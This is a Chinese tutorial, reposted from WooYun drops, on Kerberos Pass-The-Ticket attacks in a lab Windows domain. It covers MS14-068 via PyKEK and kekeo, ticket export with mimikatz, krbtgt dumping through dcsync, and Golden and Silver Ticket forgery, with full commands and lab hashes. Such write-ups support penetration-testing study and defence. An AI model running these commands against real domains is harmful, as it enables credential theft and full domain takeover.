<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/12159

            0x00 前言


            上篇介紹了有關Pass The Hash 和Pass The Key的技巧,這次接著介紹一下Pass The Ticket

            Alt text

            此圖片引用自http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/

            0x01 簡介


            在域環境中,Kerberos協議被用來作身份認證,上圖所示即為一次簡單的身份認證流程,具體細節可以參考相關資料,這里僅介紹幾個名詞:

            在了解了相關名詞之后,我們從實際利用的角度來介紹與Pass The Ticket有關的技術

            測試環境:

            #!bash
            域控:
            os:server 2008 r2 x64
            ip:192.168.40.132
            
            域內主機:
            os:win7 x64
            ip:192.168.40.225
            

            0x02 MS14-068


            時至今日,該漏洞已經過去一年多,針對其攻擊的防御檢測方法已經很成熟,所以對其利用方法做一個回顧。

            1、PyKEK

            最先公開的利用方法是Sylvain Monné用Python實現的PyKEK

            準備條件:

            Tips:

            1. 操作系統要求Win7及以上,這是因為XP不支持導入Ticket
            2. 攻擊主機可使用其他域用戶信息,比如可以在主機A上用域用戶B的口令及sid攻擊
            3. 將Python腳本轉成exe即可在任意一臺Windows主機使用

            漏洞利用的步驟為:

            Tips:

            1. 如果不先清除內存中的Ticket直接導入,有可能會失敗
            2. 連接域控要使用域控地址,不要用IP

            2、kekeo

            Benjamin DELPY用c實現了MS14-068的利用工具,更簡單高效。

            因為域用戶對應sid本就可以通過程序自動獲取,清除導入票據也能自動實現,當然,如果想用其他域用戶信息攻擊,也可以加上sid手動導入票據

            kekeo的快捷用法僅需要以下參數:

            實際測試如圖,成功獲得了域控的訪問權限

            Alt text

            Alt text

            下載地址:
            https://github.com/gentilkiwi/kekeo/releases

            0x03 Export the ticket


            在我們成功獲得域控權限后,就可以導出域控內存中的Ticket,在默認的10個小時以內都可以利用來登錄域控

            通過mimikatz導出內存中的Ticket,執行:

            #!bash
            sekurlsa::tickets /export
            

            如圖 Alt text

            保存成文件,一共導出如下文件,如圖 Alt text

            挑選其中的[0;2d87a][email protected]在域普通用戶的主機進行導入

            執行:

            #!bash
            mimikatz "kerberos::ptt C:\test\[0;2d87a][email protected]"
            

            如圖,導入成功 Alt text

            查看是否有域控權限,如圖 Alt text

            Tips:

            1. 64位系統使用ptt功能要用32位的mimikatz,如果用64的mimikatz,那么無法導入Ticket
            2. 這種方式導入的Ticket默認在10小時以內生效

            0x04 Golden Ticket


            每個用戶的Ticket都是由krbtgt的密碼Hash來生成的,那么,我們如果拿到了krbtgt的密碼Hash,不就可以隨意偽造Ticket了嗎?

            實際上只要拿到了域控權限,在上面就可以很容易的獲得krbtgt的Hash值,再通過mimikatz即可生成任意用戶任何權限的Ticket,也就是Golden Ticket

            1、導出krbtgt的Hash

            在域控上執行

            #!bash
            mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"
            

            生成mimikatz.log記錄輸出,使用log輸出是為了方便復制Hash值

            如圖: Alt text

            找到如下信息:

            #!bash
            /domain:test.local
            /sid:S-1-5-21-4155807533-921486164-2767329826 
            /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f
            

            2、生成Golden Ticket

            偽造的用戶設置為god,執行

            #!bash
            mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 
            /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god 
            /ticket:gold.kirbi"
            

            生成文件gold.kirbi

            Tips:

            生成Golden Ticket不僅可以使用aes256,也可用krbtgt的NTLM hash
            可以用mimikatz "lsadump::lsa /patch"導出

            如圖 Alt text

            導入Golden Ticket,執行如下命令:

            #!bash
            kerberos::ptt c:\test\gold.kirbi
            

            如圖,成功獲得域控權限 Alt text

            Tips:

            1. 這種方式導入的Ticket默認在20分鐘以內生效,當然,如果過期了,再次ptt導入Golden Ticket就好
            2. 可以偽造任意用戶,即使其不存在
            3. krbtgt的NTLM hash不會輕易改變,即使修改域控管理員密碼

            0x05 Silver Ticket


            Silver Ticket是偽造的TGS(Ticket Granting Server)ticket,所以也叫service ticket

            將它同Golden Ticket做對比:

            1、訪問權限不同

            Golden Ticket是偽造的TGT(Ticket Granting Ticket),所以可以獲取任何Kerberos服務權限

            Silver Ticket是偽造的TGS,也就是說其范圍有限,只能訪問指定的服務權限

            2、加密方式不同

            Golden Ticket是由krbtgt的hash加密

            Silver Ticket是由服務賬戶(通常為計算機賬戶)hash加密

            3、認證流程不同

            Golden Ticket在使用的過程需要同域控通信

            Silver Ticket在使用的過程不需要同域控通信

            舉例說明Silver Ticket:

            正常的認證流程為 Alt text

            此圖片引用自http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/

            如果使用了Silver Ticket,認證流程變為 Alt text

            此圖片引用自http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/

            不難看出其中取消了步驟1-4

            也就是說只要手里有Silver Ticket,就可以跳過KDC認證,直接去訪問指定的服務。

            比如現在要訪問域控上的“cifs”服務(cifs服務用于Windows主機間的文件共享)

            首先需要獲得如下信息:

            在域控上執行如下命令來獲取域控主機的本地管理員賬戶hash

            #!bash
            mimikatz log "sekurlsa::logonpasswords"
            

            如圖 Alt text

            注:

            此處要找到計算機賬戶,也就是Username : WIN-8VVLRPIAJB0$NTLM hash,如果是其他賬戶,那么會失敗

            整理以上獲得的信息如下:

            使用mimikatz執行如下命令導入Silver Ticket

            #!bash
            mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:cifs /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver /ptt"
            

            如圖,成功導入,此時可以成功訪問域控上的文件共享

            Alt text

            Alt text

            為了加深理解,再舉一個例子

            訪問域控上的“LDAP”服務

            整理信息如下,只需要把/service的名稱改為LDAP,/user改為krbtgt,/rc4改為krbtgt的NTLM HASH

            mimikatz導入Silver Ticket的命令為:

            #!bash
            mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:LDAP /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:krbtgt /ptt"
            

            此時dir \\WIN-8VVLRPIAJB0.test.local\c$ 發現無法訪問,也就是前面提到的

            Silver Ticket是偽造的TGS,也就是說其范圍有限,只能訪問指定的服務權限

            如圖,雖然成功導入,但是無法訪問域控的文件共享 Alt text

            但是執行如下命令可以遠程訪問LDAP服務來獲得krbtgt的信息:

            #!bash
            mimikatz "lsadump::dcsync /dc:WIN-8VVLRPIAJB0.test.local /domain:test.local /user:krbtgt"
            

            如圖,成功遠程獲得krbtgt賬戶信息 Alt text

            注:

            lsadump::dcsync
            向 DC 發起一個同步對象(可獲取帳戶的密碼信息)的質詢。
            需要的權限包括管理員組(Administrators),域管理員組( Domain Admins)或企業管理員組(Enterprise Admins)以及域控制器的計算機帳戶
            只讀域控制器默認不允許讀取用戶密碼數據
            

            參數選項:

            /user - 要查詢的用戶id 或 SID
            /domain(可選的)默認設置為當前域。
            /dc(可選的)指定DCSync 連接的域控位置
            

            當然,還有其他服務可通過偽造Silver Ticket訪問:

            如圖列舉了其他可用作Silver Ticket的服務: Alt text

            此圖片引用自https://adsecurity.org/?p=2011

            0x06 防御


            1. 域控及時更新補丁
            2. 時刻監控域控日志
            3. 限制mimikatz使用

            0x07 小結


            本文介紹了和Pass The Ticket有關的技術,著重對實際使用的一些情況做了演示,無論攻防,只有實踐,才會進步。

            Real knowledge comes from practices.

            0x08 參考資料:


            本文由三好學生原創并首發于烏云drops,轉載請注明

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线